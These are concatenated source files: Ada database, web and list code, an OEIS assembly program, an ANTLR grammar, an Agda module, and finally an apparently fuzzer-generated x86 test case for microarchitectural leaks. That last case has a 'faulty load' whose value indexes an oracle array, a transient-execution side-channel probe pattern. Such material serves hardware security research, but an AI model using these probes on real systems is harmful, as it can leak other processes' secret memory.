MYSQL_TYPE_BLOB => return ADO.Schemas.T_BLOB; when others => return ADO.Schemas.T_UNKNOWN; end case; end Get_Column_Type; -- ------------------------------ -- Get the column name -- Raises <b>Invalid_Column</b> if the column does not exist. -- ------------------------------ overriding function Get_Column_Name (Query : in Mysql_Query_Statement; Column : in Natural) return String is use type Interfaces.C.Strings.chars_ptr; Field : MYSQL_FIELD; begin if Query.Result = null then raise Invalid_Statement with "No statement"; end if; if Column > Query.Max_Column then raise Constraint_Error with "Invalid column: " & Natural'Image (Column); end if; Field := Mysql_Fetch_Field_Direct (Query.Result, MYSQL_FIELD_OFFSET (Column)); if Field = null then raise Constraint_Error with "Invalid column: " & Natural'Image (Column); end if; if Field.name = Interfaces.C.Strings.Null_Ptr then return ""; else return Interfaces.C.Strings.Value (Field.name); end if; end Get_Column_Name; -- ------------------------------ -- Get the number of columns in the result. -- ------------------------------ overriding function Get_Column_Count (Query : in Mysql_Query_Statement) return Natural is begin if Query.Result = null then raise Invalid_Statement with "No statement"; end if; return Query.Max_Column; end Get_Column_Count; overriding procedure Finalize (Query : in out Mysql_Query_Statement) is use System; begin if Query.Result /= null then Mysql_Free_Result (Query.Result); Query.Result := null; end if; end Finalize; function Create_Statement (Database : in Mysql_Access; Table : in ADO.Schemas.Class_Mapping_Access) return Query_Statement_Access is Result : constant Mysql_Query_Statement_Access := new Mysql_Query_Statement; begin Result.Connection := Database; Result.Query := Result.This_Query'Access; Result.This_Query.Set_Dialect (Mysql_Dialect'Access); if Table /= null then ADO.SQL.Append (Target => Result.This_Query.SQL, SQL => "SELECT "); for I in Table.Members'Range loop if I > Table.Members'First then ADO.SQL.Append (Target => Result.This_Query.SQL, SQL => ", "); end if; ADO.SQL.Append (Target => Result.This_Query.SQL, SQL => "o."); ADO.SQL.Append_Name (Target => Result.This_Query.SQL, Name => Table.Members (I).all); end loop; ADO.SQL.Append (Target => Result.This_Query.SQL, SQL => " FROM "); ADO.SQL.Append_Name (Target => Result.This_Query.SQL, Name => Table.Table.all); ADO.SQL.Append (Target => Result.This_Query.SQL, SQL => " AS o "); end if; return Result.all'Access; end Create_Statement; function Create_Statement (Database : in Mysql_Access; Query : in String) return Query_Statement_Access is pragma Unreferenced (Query); Result : constant Mysql_Query_Statement_Access := new Mysql_Query_Statement; begin Result.Connection := Database; Result.Query := Result.This_Query'Access; Result.This_Query.Set_Dialect (Mysql_Dialect'Access); return Result.all'Access; end Create_Statement; end ADO.Statements.Mysql;
out/euler10.adb
FardaleM/metalang
22
20457
<filename>out/euler10.adb with ada.text_io, ada.Integer_text_IO, Ada.Text_IO.Text_Streams, Ada.Strings.Fixed, Interfaces.C; use ada.text_io, ada.Integer_text_IO, Ada.Strings, Ada.Strings.Fixed, Interfaces.C; procedure euler10 is type stringptr is access all char_array; procedure PString(s : stringptr) is begin String'Write (Text_Streams.Stream (Current_Output), To_Ada(s.all)); end; procedure PInt(i : in Integer) is begin String'Write (Text_Streams.Stream (Current_Output), Trim(Integer'Image(i), Left)); end; type a is Array (Integer range <>) of Integer; type a_PTR is access a; function eratostene(t : in a_PTR; max0 : in Integer) return Integer is sum : Integer; j : Integer; begin sum := 0; for i in integer range 2..max0 - 1 loop if t(i) = i then sum := sum + i; if max0 / i > i then j := i * i; while j < max0 and then j > 0 loop t(j) := 0; j := j + i; end loop; end if; end if; end loop; return sum; end; t : a_PTR; n : Integer; begin n := 100000; -- normalement on met 2000 000 mais là on se tape des int overflow dans plein de langages t := new a (0..n - 1); for i in integer range 0..n - 1 loop t(i) := i; end loop; t(1) := 0; PInt(eratostene(t, n)); PString(new char_array'( To_C("" & Character'Val(10)))); end;
source/libgela/gela-embeded_links-lists.adb
faelys/gela-asis
4
25114
<reponame>faelys/gela-asis<filename>source/libgela/gela-embeded_links-lists.adb ------------------------------------------------------------------------------ -- <NAME> A S I S -- -- ASIS implementation for Gela project, a portable Ada compiler -- -- http://gela.ada-ru.org -- -- - - - - - - - - - - - - - - - -- -- Read copyright and license at the end of this file -- ------------------------------------------------------------------------------ -- $Revision: 209 $ $Date: 2013-11-30 21:03:24 +0200 (Сб., 30 нояб. 2013) $ package body Gela.Embeded_Links.Lists is --------------------- -- Agreed_To_Array -- --------------------- function Agreed_To_Array (Container : List) return Access_Array is Count : Index'Base := 0; Next : aliased Element_Access; begin while Iterate (Container, Next'Access) loop if Agree (Next) then Count := Count + 1; end if; end loop; declare Vector : Access_Array (1 .. Count); begin Count := 0; while Iterate (Container, Next'Access) loop if Agree (Next) then Count := Count + 1; Vector (Count) := Next; end if; end loop; return Vector; end; end Agreed_To_Array; -------------------------------- -- Agreed_To_Array_With_Param -- -------------------------------- function Agreed_To_Array_With_Param (Container : List; Param : Parameter) return Access_Array is Count : Index'Base := 0; Next : aliased Element_Access; begin while Iterate (Container, Next'Access) loop if Agree (Next, Param) then Count := Count + 1; end if; end loop; declare Vector : Access_Array (1 .. Count); begin Count := 0; while Iterate (Container, Next'Access) loop Count := Count + 1; if Agree (Next, Param) then Count := Count + 1; Vector (Count) := Next; end if; end loop; return Vector; end; end Agreed_To_Array_With_Param; ------------ -- Append -- ------------ procedure Append (Container : in out List; New_Item : in Element_Access) is begin pragma Assert (Get_Next (New_Item) = null); Prepend (Container, New_Item); Container.Tail := New_Item; end Append; ----------- -- Clear -- ----------- procedure Clear (Container : in out List) is Next : aliased Element_Access; Prev : Element_Access := Last (Container); begin while Iterate (Container, Next'Access) loop Set_Next (Prev, null); Prev := Next; end loop; Container.Tail := null; end Clear; ------------ -- Delete -- ------------ procedure Delete (Container : in out List; Item : in Element_Access) is Prev : Element_Access := First (Container); Next : aliased Element_Access := Prev; begin pragma Assert (Get_Next (Item) /= null); if Item = Prev then Delete_First (Container, Prev); else while Iterate (Container, Next'Access) loop if Next = Item then Delete_Next (Container, Prev, Next); return; else Prev := Next; end if; end loop; end if; end Delete; ------------------ -- Delete_First -- ------------------ procedure Delete_First (Container : in out List; Removed : out Element_Access) is begin if Is_Empty (Container) then Removed := null; return; end if; Removed := First (Container); if Removed = Last (Container) then Container.Tail := null; else Set_Next (Last (Container), Get_Next (Removed)); end if; Set_Next (Removed, null); end Delete_First; ----------------- -- Delete_Next -- ----------------- procedure Delete_Next (Container : in out List; After : in Element_Access; Removed : out Element_Access) is begin pragma Assert (Get_Next (After) /= null); if After /= Last (Container) then Removed := Get_Next (After); Set_Next (After, Get_Next (Removed)); if Removed = Last (Container) then Container.Tail := After; end if; else Removed := null; end if; end Delete_Next; ----------- -- First -- ----------- function First (Container : List) return Element_Access is begin return Get_Next (Container.Tail); end First; -------------- -- For_Each -- -------------- procedure For_Each (Container : in List) is Next : aliased Element_Access; begin while Iterate (Container, Next'Access) loop Proc (Next); end loop; end For_Each; ------------------------- -- For_Each_With_Param -- ------------------------- procedure For_Each_With_Param (Container : in List; Param : in out Parameter) is Next : aliased Element_Access; begin while Iterate (Container, Next'Access) loop Proc (Next, Param); end loop; end For_Each_With_Param; -------------------- -- Generic_Search -- -------------------- package body Generic_Search is --------- -- "=" -- --------- function "=" (Left, Right : List) return Boolean is Left_Item : aliased Element_Access; Right_Item : aliased Element_Access; begin while Iterate (Left, Left_Item'Access) and then Iterate (Right, Right_Item'Access) loop if Left_Item.all /= Right_Item.all then return False; end if; end loop; return Left_Item = null and then Right_Item = null; end "="; -------------- -- Contains -- -------------- function Contains (Container : List; Item : Element_Type) return Boolean is Next : aliased Element_Access; begin while Iterate (Container, Next'Access) loop if Next.all = Item then return True; end if; end loop; return False; end Contains; ---------- -- Find -- ---------- function Find (Container : List; Item : Element_Type; After : Element_Access := null) return Element_Access is Next : aliased Element_Access := After; begin pragma Assert (After = null or else Get_Next (After) /= null); while Iterate (Container, Next'Access) loop if Next.all = Item then return Next; end if; end loop; return null; end Find; end Generic_Search; ------------------ -- Insert_After -- ------------------ procedure Insert_After (Container : in out List; After : in Element_Access; New_Item : in Element_Access) is begin pragma Assert (Get_Next (After) /= null and Get_Next (New_Item) = null); Set_Next (New_Item, Get_Next (After)); Set_Next (After, New_Item); if Container.Tail = After then Container.Tail := New_Item; end if; end Insert_After; -------------- -- Is_Empty -- -------------- function Is_Empty (Container : List) return Boolean is begin return Container.Tail = null; end Is_Empty; ------------- -- Iterate -- ------------- function Iterate (Container : in List; Next : access Element_Access) return Boolean is begin if Is_Empty (Container) or Next.all = Last (Container) then Next.all := null; return False; elsif Next.all = null then Next.all := First (Container); return True; else Next.all := Get_Next (Next.all); return True; end if; end Iterate; ---------- -- Last -- ---------- function Last (Container : List) return Element_Access is begin return Container.Tail; end Last; ------------ -- Length -- ------------ function Length (Container : List) return Natural is Result : Natural := 0; Next : aliased Element_Access; begin while Iterate (Container, Next'Access) loop Result := Result + 1; end loop; return Result; end Length; ---------- -- Next -- ---------- function Next (Container : List; Item : Element_Access) return Element_Access is begin pragma Assert (Item /= null and Get_Next (Item) /= null); if Item = Last (Container) then return null; else return Get_Next (Item); end if; end Next; ------------- -- Prepend -- ------------- procedure Prepend (Container : in out List; New_Item : in Element_Access) is begin pragma Assert (Get_Next (New_Item) = null); if Is_Empty (Container) then Container.Tail := New_Item; Set_Next (New_Item, New_Item); else Set_Next (New_Item, Get_Next (Container.Tail)); Set_Next (Container.Tail, New_Item); end if; end Prepend; ------------------ -- Splice_After -- ------------------ procedure Splice_After (Target : in out List; Source : in out List; After : in Element_Access := null) is Last : Element_Access; begin if Is_Empty (Source) then return; elsif Is_Empty (Target) then Target.Tail := Source.Tail; else if After = null then Last := After; else Last := Target.Tail; end if; Set_Next (Source.Tail, Get_Next (Last)); Set_Next (Last, Source.Tail); if Last = Target.Tail then Target.Tail := Source.Tail; end if; end if; Source.Tail := null; end Splice_After; -------------- -- To_Array -- -------------- function To_Array (Container : List) return Access_Array is Count : Index'Base := Index'Base (Length (Container)); Next : aliased Element_Access; Vector : Access_Array (1 .. Count); begin Count := 0; while Iterate (Container, Next'Access) loop Count := Count + 1; Vector (Count) := Next; end loop; return Vector; end To_Array; end Gela.Embeded_Links.Lists; ------------------------------------------------------------------------------ -- Copyright (c) 2006, <NAME> -- All rights reserved. -- -- Redistribution and use in source and binary forms, with or without -- modification, are permitted provided that the following conditions are met: -- -- * Redistributions of source code must retain the above copyright notice, -- this list of conditions and the following disclaimer. -- * Redistributions in binary form must reproduce the above copyright -- notice, this list of conditions and the following disclaimer in the -- documentation and/or other materials provided with the distribution. -- * Neither the name of the <NAME>, IE nor the names of its -- contributors may be used to endorse or promote products derived from -- this software without specific prior written permission. -- -- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -- AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -- IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE -- ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE -- LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -- CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF -- SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -- INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN -- CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) -- ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -- POSSIBILITY OF SUCH DAMAGE. ------------------------------------------------------------------------------
programs/oeis/157/A157862.asm
karttu/loda
1
98064
; A157862: a(n) = 1728000*n + 240. ; 1728240,3456240,5184240,6912240,8640240,10368240,12096240,13824240,15552240,17280240,19008240,20736240,22464240,24192240,25920240,27648240,29376240,31104240,32832240,34560240,36288240,38016240,39744240,41472240,43200240,44928240,46656240,48384240,50112240,51840240,53568240,55296240,57024240,58752240,60480240,62208240,63936240,65664240,67392240,69120240,70848240,72576240,74304240,76032240,77760240,79488240,81216240,82944240,84672240,86400240,88128240,89856240,91584240,93312240,95040240,96768240,98496240,100224240,101952240,103680240,105408240,107136240,108864240,110592240,112320240,114048240,115776240,117504240,119232240,120960240,122688240,124416240,126144240,127872240,129600240,131328240,133056240,134784240,136512240,138240240,139968240,141696240,143424240,145152240,146880240,148608240,150336240,152064240,153792240,155520240,157248240,158976240,160704240,162432240,164160240,165888240,167616240,169344240,171072240,172800240,174528240,176256240,177984240,179712240,181440240,183168240,184896240,186624240,188352240,190080240,191808240,193536240,195264240,196992240,198720240,200448240,202176240,203904240,205632240,207360240,209088240,210816240,212544240,214272240,216000240,217728240,219456240,221184240,222912240,224640240,226368240,228096240,229824240,231552240,233280240,235008240,236736240,238464240,240192240,241920240,243648240,245376240,247104240,248832240,250560240,252288240,254016240,255744240,257472240,259200240,260928240,262656240,264384240,266112240,267840240,269568240,271296240,273024240,274752240,276480240,278208240,279936240,281664240,283392240,285120240,286848240,288576240,290304240,292032240,293760240,295488240,297216240,298944240,300672240,302400240,304128240,305856240,307584240,309312240,311040240,312768240,314496240,316224240,317952240,319680240,321408240,323136240,324864240,326592240,328320240,330048240,331776240,333504240,335232240,336960240,338688240,340416240,342144240,343872240,345600240,347328240,349056240,350784240,352512240,354240240,355968240,357696240,359424240,361152240,362880240,364608240,366336240,368064240,369792240,371520240,373248240,374976240,376704240,378432240,380160240,381888240,383616240,385344240,387072240,388800240,390528240,392256240,393984240,395712240,397440240,399168240,400896240,402624240,404352240,406080240,407808240,409536240,411264240,412992240,414720240,416448240,418176240,419904240,421632240,423360240,425088240,426816240,428544240,430272240,432000240 mov $1,$0 mul $1,1728000 add $1,1728240
samples/city_mapping.adb
Letractively/ada-util
60
20443
----------------------------------------------------------------------- -- city_mapping -- Example of serialization mapping for city CSV records -- Copyright (C) 2011 <NAME> -- Written by <NAME> (<EMAIL>) -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ----------------------------------------------------------------------- package body City_Mapping is use Util.Beans.Objects; -- ------------------------------ -- Set the name/value pair on the current object. -- ------------------------------ procedure Set_Member (P : in out City; Field : in City_Fields; Value : in Util.Beans.Objects.Object) is begin case Field is when FIELD_COUNTRY => P.Country := To_Unbounded_String (Value); when FIELD_CITY => P.City := To_Unbounded_String (Value); when FIELD_NAME => P.Name := To_Unbounded_String (Value); when FIELD_REGION => P.Region := To_Unbounded_String (Value); when FIELD_LATITUDE => P.Latitude := To_Float (Value); when FIELD_LONGITUDE => P.Longitude := To_Float (Value); end case; end Set_Member; -- Mapping for the Person record. City_Mapping : aliased City_Mapper.Mapper; -- Mapping for a list of City records (stored as a Vector). City_Vector_Mapping : aliased City_Vector_Mapper.Mapper; -- ------------------------------ -- Get the address mapper which describes how to load an Address. -- ------------------------------ function Get_City_Mapper return Util.Serialize.Mappers.Mapper_Access is begin return City_Mapping'Access; end Get_City_Mapper; -- ------------------------------ -- Get the person vector mapper which describes how to load a list of Person. -- ------------------------------ function Get_City_Vector_Mapper return City_Vector_Mapper.Mapper_Access is begin return City_Vector_Mapping'Access; end Get_City_Vector_Mapper; begin City_Mapping.Add_Mapping ("Country", FIELD_COUNTRY); City_Mapping.Add_Mapping ("City", FIELD_CITY); City_Mapping.Add_Mapping ("Accent City", FIELD_NAME); City_Mapping.Add_Mapping ("Region", FIELD_REGION); City_Mapping.Add_Mapping ("Latitude", FIELD_LATITUDE); City_Mapping.Add_Mapping ("Longitude", FIELD_LONGITUDE); City_Vector_Mapping.Set_Mapping (City_Mapping'Access); end City_Mapping;
src/antlr/EdgeGrammar.g4
Ecdar/j-Ecdar-import
0
958
grammar EdgeGrammar; /* * Parser Rules */ @header { package EdgeGrammar; } edge : (guard | update) EOF ; guard : or? ';'? ; update : assignments? ; or : (and '||' or) | and ; and : (compareExpr '&&' and) | compareExpr ; compareExpr : TERM OPERATOR TERM ; assignments : (assignment ',' assignments) | (assignment ','?) ; assignment : TERM '=' TERM ; /* * Lexer Rules */ TERM : (ATOM | VARIABLE) ; ATOM : (INT | 'true' | 'false') ; fragment DIGIT : [0-9] ; INT : DIGIT+ ; fragment LOWERCASE : [a-z] ; fragment UPPERCASE : [A-Z] ; fragment SYMBOL : ('.' | 'þ' | '€' | '_' | 'ð' | 'đ' | 'œ') ; LETTER : (LOWERCASE | UPPERCASE)+ ; VARIABLE : LETTER (LETTER | DIGIT | SYMBOL)* ; OPERATOR : ('>=' | '<=' | '==' | '<' | '>') ; WS : [ \t\r\n]+ -> skip ;
src/opencl/gpuinference.ads
sebsgit/textproc
0
28334
<reponame>sebsgit/textproc<filename>src/opencl/gpuinference.ads with NeuralNet; with cl_objects; with opencl; with Ada.Finalization; with Ada.Containers.Vectors; with System; package GpuInference is pragma Elaborate_Body; type NNData is tagged limited private; function Create(ctx: cl_objects.Context_Access; nn: in NeuralNet.Net; cl_code: out opencl.Status) return NNData; function Upload_Weights(ctx: in out cl_objects.Context; nn: in NeuralNet.Net; cl_code: out opencl.Status) return cl_objects.Buffer; function Upload_Biases(ctx: in out cl_objects.Context; nn: in NeuralNet.Net; cl_code: out opencl.Status) return cl_objects.Buffer; function Multiply_Weights(context: NNData; input, output: in out cl_objects.Buffer; weight_offset: in Natural; layer_size, output_size: in Positive; events_to_wait: in opencl.Events; cl_code: out opencl.Status) return cl_objects.Event; function Reduce_Activate(context: NNData; input, output: in out cl_objects.Buffer; bias_offset: in Natural; layer_size, output_size: in Positive; events_to_wait: in opencl.Events; cl_code: out opencl.Status) return cl_objects.Event; function Multiply_Weights(context: NNData; input, output: in System.Address; weight_offset: in Natural; layer_size, output_size: in Positive; events_to_wait: in opencl.Events; cl_code: out opencl.Status) return cl_objects.Event; function Reduce_Activate(context: NNData; input, output: in System.Address; bias_offset: in Natural; layer_size, output_size: in Positive; events_to_wait: in opencl.Events; cl_code: out opencl.Status) return cl_objects.Event; function Forward(context: NNData; input, output: in out cl_objects.Buffer; events_to_wait: in opencl.Events; cl_code: out opencl.Status) return cl_objects.Event; private package Int_Vec is new Ada.Containers.Vectors(Index_Type => Positive, Element_Type => Positive); type NNData is new Ada.Finalization.Limited_Controlled with record ctx: cl_objects.Context_Access; processing_prog: cl_objects.Program_Access; processing_queue: cl_objects.Command_Queue_Access; multiply_weights_kernel: cl_objects.Kernel_Access; reduce_sum_kernel: cl_objects.Kernel_Access; nn_weights: cl_objects.Buffer_Access; nn_biases: cl_objects.Buffer_Access; temp_buffer: cl_objects.Buffer_Access; temp_input_buffer: cl_objects.Buffer_Access; nn_shape: Int_Vec.Vector; nn_activator: NeuralNet.Activator; end record; overriding procedure Finalize(This: in out NNData); end GpuInference;
Setoids/Functions/Definition.agda
Smaug123/agdaproofs
4
10632
{-# OPTIONS --safe --warning=error --without-K #-} open import Agda.Primitive using (Level; lzero; lsuc; _⊔_) open import Setoids.Setoids module Setoids.Functions.Definition {a b c d : _} {A : Set a} {B : Set b} where WellDefined : (S : Setoid {a} {c} A) (T : Setoid {b} {d} B) (f : A → B) → Set (a ⊔ c ⊔ d) WellDefined S T f = {x y : A} → Setoid._∼_ S x y → Setoid._∼_ T (f x) (f y)
source/web_callbacks.adb
jquorning/WeDo
1
8937
-- -- The author disclaims copyright to this source code. In place of -- a legal notice, here is a blessing: -- -- May you do good and not evil. -- May you find forgiveness for yourself and forgive others. -- May you share freely, not taking more than you give. -- with Ada.Text_IO; with Ada.Strings.Unbounded; with AWS.MIME; with AWS.Templates; with AWS.Parameters; with GNAT.Traceback.Symbolic; with Parser; with Database.Jobs; with Web_IO; with Types; package body Web_Callbacks is Web_Base : constant String := "../web/"; Translations : AWS.Templates.Translate_Set; function Job_Name (Job : in Types.Job_Id) return String; -- Get name of current job. procedure Associate (Placeholder : String; Value : String); -- Update template translation Placeholder with Value. procedure Serve_Main_Page (Request : in AWS.Status.Data); -- Build main web page "/" procedure Associate (Placeholder : String; Value : String) is begin AWS.Templates.Insert (Translations, AWS.Templates.Assoc (Placeholder, Value)); end Associate; procedure Initialize is begin -- Static translations Associate ("COMMAND_TABLE", Web_IO.Help_Image); end Initialize; function Job_Name (Job : in Types.Job_Id) return String is use Database.Jobs; use Types; Top_Jobs : constant Job_Sets.Vector := Get_Jobs (Database.Jobs.Top_Level); begin for J of Top_Jobs loop if Job = J.Id then return Ada.Strings.Unbounded.To_String (J.Title); end if; end loop; return "UNKNOWN=XXX"; end Job_Name; procedure Serve_Main_Page (Request : in AWS.Status.Data) is List : constant AWS.Parameters.List := AWS.Status.Parameters (Request); CMD : constant String := AWS.Parameters.Get (List, "cmd"); begin Parser.Parse_Input (CMD); Associate ("CUR_JOB_NAME", Job_Name (Database.Jobs.Get_Current_Job)); Associate ("JOBS_LIST", Web_IO.Jobs_Image); Associate ("JOB_INFORMATION", Web_IO.Job_Image (Database.Jobs.Get_Current_Job)); Associate ("LAST_COMMAND", Parser.Get_Last_Command); end Serve_Main_Page; ---------- -- Main -- ---------- function Main (Request : in AWS.Status.Data) return AWS.Response.Data is use AWS; URI : constant String := Status.URI (Request); Filename : constant String := URI (URI'First + 1 .. URI'Last); begin if URI = "/stylesheets/print.css" or URI = "/stylesheets/main.css" or URI = "/stylesheets/boilerplate.css" or URI = "/css/rg.css" then return AWS.Response.Build (MIME.Text_CSS, Message_Body => Templates.Parse (Web_Base & Filename)); elsif URI = "/favicon.ico" then Ada.Text_IO.Put_Line ("Serving ikon " & URI); return AWS.Response.Build (MIME.Text_HTML, Message_Body => Templates.Parse (Web_Base & "favicon.ico")); elsif URI = "/" then Serve_Main_Page (Request); return AWS.Response.Build (MIME.Text_HTML, Message_Body => AWS.Templates.Parse (Web_Base & "main.thtml", Translations)); elsif URI = "/test" then return AWS.Response.Build (MIME.Text_HTML, Message_Body => "<html><head><title>Test</title></head>" & "<body><h1>Test</html>"); else Ada.Text_IO.Put_Line ("URI is " & URI); Ada.Text_IO.Put_Line ("Filename is " & Filename); return AWS.Response.Build (MIME.Text_HTML, Message_Body => Templates.Parse (Web_Base & "fejl.html")); end if; exception when others => declare -- Call_Stack Trace : GNAT.Traceback.Tracebacks_Array (1 .. 100); Length : Natural; begin GNAT.Traceback.Call_Chain (Trace, Length); Ada.Text_IO.Put_Line (GNAT.Traceback.Symbolic.Symbolic_Traceback (Trace (1 .. Length))); end; raise; end Main; end Web_Callbacks;
Transynther/x86/_processed/US/_zr_/i7-8650U_0xd2.log_21829_1416.asm
ljhsiun2/medusa
9
29061
<filename>Transynther/x86/_processed/US/_zr_/i7-8650U_0xd2.log_21829_1416.asm .global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r14 push %r15 push %rcx push %rdi push %rsi lea addresses_UC_ht+0x501f, %rsi lea addresses_normal_ht+0x1a51d, %rdi nop dec %r15 mov $34, %rcx rep movsw nop nop nop nop nop sub $5550, %r14 lea addresses_WT_ht+0x1cdd, %r10 nop nop nop nop add %r11, %r11 vmovups (%r10), %ymm1 vextracti128 $1, %ymm1, %xmm1 vpextrq $1, %xmm1, %rdi nop nop nop and $52595, %rsi lea addresses_D_ht+0x1d674, %r10 nop nop nop nop nop add $9323, %rsi mov (%r10), %cx nop nop nop nop cmp %r10, %r10 lea addresses_WC_ht+0xedfd, %r11 nop nop nop nop nop mfence mov $0x6162636465666768, %r14 movq %r14, (%r11) nop nop nop xor $45515, %r11 lea addresses_A_ht+0xd19d, %rsi lea addresses_D_ht+0x1b4cd, %rdi clflush (%rdi) nop nop add %r14, %r14 mov $11, %rcx rep movsb nop and $51699, %r14 lea addresses_UC_ht+0x1d19d, %r11 nop nop nop sub %r15, %r15 movw $0x6162, (%r11) xor $13456, %r10 lea addresses_UC_ht+0x99d, %r10 xor $33399, %rcx mov (%r10), %rdi nop nop nop xor $29852, %rcx lea addresses_D_ht+0x1474b, %r11 nop nop nop nop nop inc %rcx movw $0x6162, (%r11) add $24215, %r11 pop %rsi pop %rdi pop %rcx pop %r15 pop %r14 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r15 push %r8 push %r9 push %rax push %rbp push %rcx push %rsi // Store lea addresses_RW+0x1c5b1, %r15 nop nop nop nop sub $24296, %r9 mov $0x5152535455565758, %rcx movq %rcx, %xmm5 vmovups %ymm5, (%r15) nop dec %r9 // Store lea addresses_UC+0x479d, %r8 nop add $12752, %rax movw $0x5152, (%r8) nop nop add $49386, %rax // Store lea addresses_US+0x639d, %rsi nop nop nop nop nop sub %rbp, %rbp movl $0x51525354, (%rsi) cmp %rcx, %rcx // Store lea addresses_PSE+0x5e9d, %rsi nop nop cmp %rax, %rax movl $0x51525354, (%rsi) nop nop nop nop inc %r15 // Faulty Load lea addresses_US+0x1199d, %rcx nop nop nop nop and %rbp, %rbp mov (%rcx), %r15w lea oracles, %rax and $0xff, %r15 shlq $12, %r15 mov (%rax,%r15,1), %r15 pop %rsi pop %rcx pop %rbp pop %rax pop %r9 pop %r8 pop %r15 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': True}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 